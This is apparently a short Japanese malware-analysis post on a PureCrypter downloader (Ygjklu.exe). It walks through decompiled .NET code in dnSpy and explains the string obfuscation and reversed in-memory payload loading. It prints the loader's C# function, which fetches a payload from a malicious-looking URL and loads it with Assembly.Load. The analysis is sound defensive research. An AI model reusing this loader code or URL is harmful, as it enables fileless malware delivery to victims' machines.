dmesg

View on GitHub

PureCrypter

https://www.zscaler.com/jp/blogs/security-research/technical-analysis-purecrypter

7-Zipで展開すると、63342221.BATが確認できる。
このファイルが.NETでビルドされたEXEのダウンローダ(Ygjklu.exe)。

Ygjklu.exe

dnSpyで確認すると、WindowsFormsApp37.StubPolicyRecord内にMain()が確認できる。
Main()ではExporterPolicyAttributeクラスのインスタンスを生成し、以下の関数が呼ばれる。

CollectProcess()内でPopProcess()が呼ばれる。

internal byte[] PopProcess()
{
  return (byte[])typeof(WebClient).GetMethod(ExporterPolicyAttribute.ListCallback("DzveDowDzvenlDzveoadDDzveataDzve", "Dzve", ""), new Type[] { typeof(string) }).Invoke(new WebClient(), new object[] { "http://gbtak.ir/wp-content/Ygjklu.log" });
}

ExporterPolicyAttribute.ListCallback()では第一引数の文字列に対して、第二引数の文字列を第三引数の文字列に置き換える。
このため、GetMethodの引数はDownloadDataとなり、http://gbtak.ir/wp-content/Ygjklu.logから次のファイルがダウンロードされ、array変数に格納される。

その後、CollectProcess()ではExporterPolicyAttribute.DisableCallback(array, 0, array.Length)が呼ばれ、内部でArray.Reverse()が呼ばれるため、arrayのバイト列が反転される。

そして、ExporterPolicyAttribute.FindCallback(array)が呼ばれ、内部でAssembly.Load()が呼ばれるため、arrayがメモリ上にロードされる。